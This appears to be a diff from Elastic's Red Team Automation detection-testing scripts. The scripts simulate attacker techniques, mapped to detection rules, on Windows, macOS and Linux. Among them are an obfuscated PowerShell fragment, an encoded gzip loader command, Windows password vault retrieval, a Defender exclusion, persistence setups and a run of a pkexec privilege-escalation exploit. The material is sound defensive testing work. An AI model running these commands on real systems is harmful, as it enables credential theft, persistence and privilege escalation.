}${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } + ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ } """ # noqa: E501 commands = [c.strip() for c in commands.splitlines()] diff --git a/rta/office_app_execution.py b/rta/office_app_execution.py new file mode 100644 index 000000000..79a97656b --- /dev/null +++ b/rta/office_app_execution.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1a483c55-443d-4d01-a9de-e2c69df744f3", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Initial Access or Execution via Microsoft Office Application", + "rule_id": "64021ef9-19d3-4797-ac3c-79e38d5e5a5a", + } + ], + siem=[], + techniques=["T1105", "T1140", "T1027", "T1566", "T1547", "T1204", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/Microsoft PowerPoint" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake Microsoft Office process") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/office_application_startup.py b/rta/office_application_startup.py index 607e18465..fc2811ee8 100644 --- a/rta/office_application_startup.py +++ b/rta/office_application_startup.py @@ -11,9 +11,13 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="5a979532-2b56-4c7d-b47e-a2aa1ef9547a", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(dll_location="c:\\windows\\temp\\evil.dll"): # Write evil dll to office test path: subkey = "Software\\Microsoft\\Office Test\\Special\\Perf" diff --git a/rta/office_child_process.py b/rta/office_child_process.py new file mode 100644 index 000000000..03a79cf78 --- /dev/null +++ b/rta/office_child_process.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="65ae1bcd-0b1c-4992-97c3-f40b0f92deb1", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Suspicious macOS MS Office Child Process", "rule_id": "66da12b1-ac83-40eb-814c-07ed1d82b7b9"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/Microsoft Word" + masquerade2 = "/tmp/bash" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + common.log("Executing fake Microsoft commands to mimic suspicious child processes.") + common.execute([masquerade, "childprocess", masquerade2], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/opera_child_process.py b/rta/opera_child_process.py new file mode 100644 index 000000000..2b9c654a0 --- /dev/null +++ b/rta/opera_child_process.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="459d7b3c-2c6d-4101-b830-d6c317d4b355", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Suspicious Browser Child Process", "rule_id": "080bc66a-5d56-4d1f-8071-817671716db9"}], + techniques=["T1203", "T1189"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/Opera" + masquerade2 = "/tmp/curl" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake macOS installer commands to download payload") + + command = f"{masquerade2} test.amazonaws.comtest" + common.execute([masquerade, "childprocess", command], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_hidden_login_item.py b/rta/osascript_hidden_login_item.py new file mode 100644 index 000000000..70c8088a6 --- /dev/null +++ b/rta/osascript_hidden_login_item.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d00ef4d9-4690-4eb1-aa60-7ff3ce3bd75b", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Creation of Hidden Login Item via Apple Script", + "rule_id": "f24bcae1-8980-4b30-b5dd-f851b055c9e7", + } + ], + techniques=["T1547", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript commands to mimic hidden file creation") + common.execute( + [masquerade, "childprocess", "osascript login item hidden:true"], + shell=True, + timeout=5, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_net_conn.py b/rta/osascript_net_conn.py new file mode 100644 index 000000000..7b5cccd43 --- /dev/null +++ b/rta/osascript_net_conn.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="66407efa-a32e-4f4d-b339-def48e23e810", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Apple Script Execution followed by Network Connection", + "rule_id": "47f76567-d58a-4fed-b32b-21f571e28910", + } + ], + techniques=["T1105", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.copy_file("/usr/bin/curl", masquerade) + + # Execute command + common.log("Launching fake commands to mimic creating a network connection with osascript") + common.execute([masquerade, "portquiz.net"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_sh_execution.py b/rta/osascript_sh_execution.py new file mode 100644 index 000000000..3cd6cddc7 --- /dev/null +++ b/rta/osascript_sh_execution.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="fa1dd615-73f0-46d0-b047-b495337d356b", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Shell Execution via Apple Scripting", "rule_id": "d461fac0-43e8-49e2-85ea-3a58fe120b4f"}], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript commands to mimic sh execution") + common.execute([masquerade, "childprocess", "sh -c 'ls'"], shell=True, timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/osascript_suspicious_cmdline.py b/rta/osascript_suspicious_cmdline.py new file mode 100644 index 000000000..8c6945bb6 --- /dev/null +++ b/rta/osascript_suspicious_cmdline.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="af8d27bb-1673-463f-8631-a5b30278cf33", + platforms=["macos"], + endpoint=[{"rule_name": "Suspicious Apple Script Execution", "rule_id": "7b9d544a-5b2a-4f0d-984a-cdc89a7fad25"}], + siem=[], + techniques=["T1105", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript and javascript commands") + common.execute( + [masquerade, "JavaScript", "eval('curl http://www.test')"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/outlook_suspicious_child.py b/rta/outlook_suspicious_child.py new file mode 100644 index 000000000..b3170ee3a --- /dev/null +++ b/rta/outlook_suspicious_child.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b30811a1-f734-4c28-b386-bcf43b214e09", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Execution via Outlook Application COM Object", + "rule_id": "17030515-5ed0-43c8-9602-f97cbebd43c0", + }, + {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, + ], + siem=[], + techniques=["T1566", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + outlook = "C:\\Users\\Public\\outlook.exe" + svchost = "C:\\Users\\Public\\svchost.exe" + common.copy_file(EXE_FILE, outlook) + common.copy_file(EXE_FILE, svchost) + + common.log("Fake outlook spawning powershell") + common.execute([svchost, "/c", outlook, "/c", "powershell -Embedding"], timeout=10, kill=True) + + common.remove_files(outlook, svchost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/periodic_task_creation.py b/rta/periodic_task_creation.py new file mode 100644 index 000000000..1e21b8f72 --- /dev/null +++ b/rta/periodic_task_creation.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="31161e21-c290-4e51-a6d3-2865710793ff", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential Persistence via Periodic Tasks", "rule_id": "48ec9452-e1fd-4513-a376-10a1a26d2c83"}], + techniques=["T1053"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on periodic file test.conf to mimic periodic tasks creation") + common.temporary_file_helper("testing", file_name="/private/etc/periodic/test.conf") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/persistence_chrome_extension.py b/rta/persistence_chrome_extension.py new file mode 100644 index 000000000..d26088e1c --- /dev/null +++ b/rta/persistence_chrome_extension.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4d9af153-a878-4ae3-b6c4-b3f14e516f25", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Manual Loading of a Suspicious Chromium Extension", + "rule_id": "e8d52cc6-8785-43d2-8e98-30f07e19e16c", + } + ], + siem=[], + techniques=["T1176"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing chrome commands to load suspicious ext.") + chrome = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" + common.execute([chrome, "--load-extension=/test"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/persistence_startup_unusual_process.py b/rta/persistence_startup_unusual_process.py new file mode 100644 index 000000000..325ed3e49 --- /dev/null +++ b/rta/persistence_startup_unusual_process.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import time + + +metadata = RtaMetadata( + uuid="9a0c0715-5225-4170-a505-0e3cc4dfd63e", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution via Renamed Signed Binary Proxy", "rule_id": "b0207677-5041-470b-981d-13ab956cf5b4"}, + { + "rule_name": "Unusual File Written or Modified in Startup Folder", + "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", + }, + {"rule_name": "Startup Persistence via Unusual Process", "rule_id": "95d13ce1-ffb2-4be8-a56e-cc9a891e81e2"}, + { + "rule_name": "Script Interpreter Process Writing to Commonly Abused Persistence Locations", + "rule_id": "be42f9fc-bdca-41cd-b125-f223d09eef69", + }, + { + "rule_name": "Startup Persistence via Windows Script Interpreter", + "rule_id": "a85000c8-3eac-413b-8353-079343c2b6f0", + }, + ], + siem=[], + techniques=["T1547", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + tempowershell = "C:\\Windows\\notp0sh.exe" + posh = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\posh.exe" + common.copy_file(powershell, tempowershell) + + time.sleep(2) + common.execute([tempowershell, "-c", "Copy-Item", powershell, tempowershell]) + common.remove_files(tempowershell, posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/persistent_scripts.py b/rta/persistent_scripts.py index 4b8d46074..ac7fc765a 100644 --- a/rta/persistent_scripts.py +++ b/rta/persistent_scripts.py @@ -11,12 +11,23 @@ import os import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2ab62c28-1abb-4ac5-a16d-2f4f75d01d02", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "afcce5ad-65de-4ed2-8516-5e093d3ac99a", "rule_name": "Local Scheduled Task Creation"}], + techniques=["T1053"], +) + VBS = common.get_path("bin", "persistent_script.vbs") NAME = "rta-vbs-persistence" -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC, VBS) def main(): common.log("Persistent Scripts") @@ -26,7 +37,7 @@ def main(): return 1 # Remove any existing profiles - user_profile = os.environ['USERPROFILE'] + user_profile = os.environ["USERPROFILE"] log_file = os.path.join(user_profile, NAME + ".log") # Remove log file if exists diff --git a/rta/ping_delayed_exec.py b/rta/ping_delayed_exec.py new file mode 100644 index 000000000..273dd81fa --- /dev/null +++ b/rta/ping_delayed_exec.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="48419773-64de-498a-be98-cb1f6815e80c", + platforms=["windows"], + endpoint=[{"rule_name": "Delayed Execution via Ping", "rule_id": "7615ca4b-c291-4f05-9488-114b6bf99157"}], + siem=[], + techniques=["T1216", "T1220", "T1218", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + cmd = "C:\\Windows\\System32\\cmd.exe" + + # Execute command + common.log("Delaying rundll32 execution using ping...") + common.execute([cmd, "/c", "ping -n 3 127.0.0.1 && rundll32.exe"], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/pkexec_shell.py b/rta/pkexec_shell.py new file mode 100644 index 000000000..de2bde6a7 --- /dev/null +++ b/rta/pkexec_shell.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dc1baf0d-8048-481a-b142-73313181fe31", + platforms=["linux"], + endpoint=[ + {"rule_name": "Privilege Escalation via PKEXEC Exploitation", "rule_id": "30c89cc9-d93c-4134-a976-58f8413f2f32"} + ], + siem=[], + techniques=["T1574", "T1068"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Executing command to simulate privilege escalation via PKEXEC exploitation") + # The exploit reproduction is available for commercial usage via MIT License + # https://github.com/berdav/CVE-2021-4034/blob/main/LICENSE + # The RTA script has complied binary in the /bin folder. Refer src folder for the origin code. + + exploit_path = common.get_path("bin", "pkexec_cve20214034", "cve-2021-4034") + common.execute(exploit_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/plist_creation.py b/rta/plist_creation.py new file mode 100644 index 000000000..8d57c16e5 --- /dev/null +++ b/rta/plist_creation.py @@ -0,0 +1,74 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +from pathlib import Path + + +metadata = RtaMetadata( + uuid="12e70377-e24e-4374-8aec-42064614d706", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Property List File Creation or Modification", + "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6714432f", + } + ], + siem=[], + techniques=["T1547", "T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + launch_agents_dir = Path.home() / "Library" / "Launchagents" + plistbuddy_bin = "/usr/libexec/PlistBuddy" + plist_file = Path.home() / "Library" / "Launchagents" / "init_verx.plist" + + # Create launch agents dir if it doesn't exist + if not launch_agents_dir.exists(): + common.log(f"Creating directory {launch_agents_dir}") + launch_agents_dir.mkdir() + + # Create plist file using Plistbuddy + common.log("Executing PlistBuddy commands to create plist file") + common.execute( + [f"{plistbuddy_bin}", "-c", "Add :Label string init_verx", f"{plist_file}"], + shell=True, + ) + common.pause() + common.execute([f"{plistbuddy_bin}", "-c", "Add :RunAtLoad bool true", f"{plist_file}"]) + common.pause() + common.execute([f"{plistbuddy_bin}", "-c", "Add :StartInterval integer 3600", f"{plist_file}"]) + common.pause() + common.execute([f"{plistbuddy_bin}", "-c", "Add :ProgramArguments array", f"{plist_file}"]) + common.pause() + common.execute( + [ + f"{plistbuddy_bin}", + "-c", + "Add :ProgramArguments:0 string '/bin/sh'", + f"{plist_file}", + ] + ) + common.pause() + common.execute( + [ + f"{plistbuddy_bin}", + "-c", + "Add :ProgramArguments:1 string -c", + f"{plist_file}", + ] + ) + + # Delete the plist file if it exists + if plist_file.exists(): + common.log(f"Deleting plist file {plist_file}") + plist_file.unlink() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/plistbuddy_file_modification.py b/rta/plistbuddy_file_modification.py new file mode 100644 index 000000000..1e09e76d6 --- /dev/null +++ b/rta/plistbuddy_file_modification.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="522a18d6-0c27-499f-86d9-cd421129a38d", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Property List File Creation or Modification", + "rule_id": "901f0c30-a7c5-40a5-80e3-a50c6714432f", + } + ], + siem=[], + techniques=["T1547", "T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/plistbuddy" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake plistbuddy command to modify plist files") + common.execute([masquerade, "testRunAtLoad testLaunchAgentstest"], timeout=10, kill=True) + common.execute([masquerade, "testProgramArgumentstest"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/port_monitor.py b/rta/port_monitor.py index 1d0d2ac90..16bdebbb3 100644 --- a/rta/port_monitor.py +++ b/rta/port_monitor.py @@ -9,9 +9,24 @@ # Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="d7d1d0cf-a84a-4526-b0db-be59a210246e", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "8f3e91c7-d791-4704-80a1-42c160d7aa27", + "rule_name": "Potential Port Monitor or Print Processor Registration Abuse", + } + ], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Writing registry key and dummy dll") diff --git a/rta/powershell_args.py b/rta/powershell_args.py index abaaeda16..8de53ad7e 100644 --- a/rta/powershell_args.py +++ b/rta/powershell_args.py @@ -12,13 +12,17 @@ import base64 import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="5efc844c-0c11-4f84-a904-ada611315298", platforms=["windows"], endpoint=[], siem=[], techniques=[]) def encode(command): - return base64.b64encode(command.encode('utf-16le')) + return base64.b64encode(command.encode("utf-16le")) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): common.log("PowerShell Suspicious Commands") temp_script = os.path.abspath("tmp.ps1") @@ -28,9 +32,9 @@ def main(): f.write("whoami.exe\nexit\n") powershell_commands = [ - ['powershell.exe', '-ExecutionPol', 'Bypass', temp_script], - ['powershell.exe', 'iex', 'Get-Process'], - ['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)], + ["powershell.exe", "-ExecutionPol", "Bypass", temp_script], + ["powershell.exe", "iex", "Get-Process"], + ["powershell.exe", "-ec", encode("Get-Process" + " " * 1000)], ] for command in powershell_commands: diff --git a/rta/powershell_base64_gzip.py b/rta/powershell_base64_gzip.py index c64de3ca5..380d4b8d1 100644 --- a/rta/powershell_base64_gzip.py +++ b/rta/powershell_base64_gzip.py @@ -9,13 +9,28 @@ # Description: Calls PowerShell with command-line that contains base64/gzip from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="38defc7e-7234-45a2-83ef-e845d0eba3f2", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "81fe9dc6-a2d7-4192-a2d8-eed98afc766a", + "rule_name": "PowerShell Suspicious Payload Encoded and Compressed", + } + ], + techniques=["T1140", "T1027", "T1059"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("PowerShell with base64/gzip") - command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501 + command = "powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)" # noqa: E501 common.execute(command) diff --git a/rta/powershell_from_script.py b/rta/powershell_from_script.py index 9e82b408f..5693f97cb 100644 --- a/rta/powershell_from_script.py +++ b/rta/powershell_from_script.py @@ -13,16 +13,26 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="161c5972-6bfe-47b5-92bd-e0399e025dec", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f545ff26-3c94-4fd0-bd33-3c7f95a3a0fc", "rule_name": "Windows Script Executing PowerShell"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): # Write script script_file = os.path.abspath("launchpowershell.vbs") script = """Set objShell = CreateObject("Wscript.shell") objShell.run("powershell echo 'Doing evil things...'; sleep 3") """ - with open(script_file, 'w') as f: + with open(script_file, "w") as f: f.write(script) # Execute script diff --git a/rta/powershell_unsigned_defender_exclusion.py b/rta/powershell_unsigned_defender_exclusion.py new file mode 100644 index 000000000..53ba8527a --- /dev/null +++ b/rta/powershell_unsigned_defender_exclusion.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1ccbd3c6-69c8-4476-b5e5-da3d167a09f1", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Windows Defender Exclusions Added via PowerShell", + "rule_id": "2ad8b514-baf0-4e29-a712-d6734868aa57", + } + ], + siem=[], + techniques=["T1562", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + cmd = "powershell -c Add-MpPreference -ExclusionPath" + # Execute command + common.execute([posh, "/c", cmd], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/powershell_vault_access.py b/rta/powershell_vault_access.py new file mode 100644 index 000000000..937992cad --- /dev/null +++ b/rta/powershell_vault_access.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="88905741-350f-4a20-a363-22be1e71840c", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Access to Windows Passwords Vault via Powershell", + "rule_id": "7a4d1be2-db47-4545-a08c-9d4b20bad0d0", + } + ], + siem=[], + techniques=["T1555", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + cmd = "(new-object 'Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials" + "ContentType=WindowsRuntime').RetrieveAll()" + + # Execute command + common.execute([powershell, "/c", cmd], timeout=5, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git 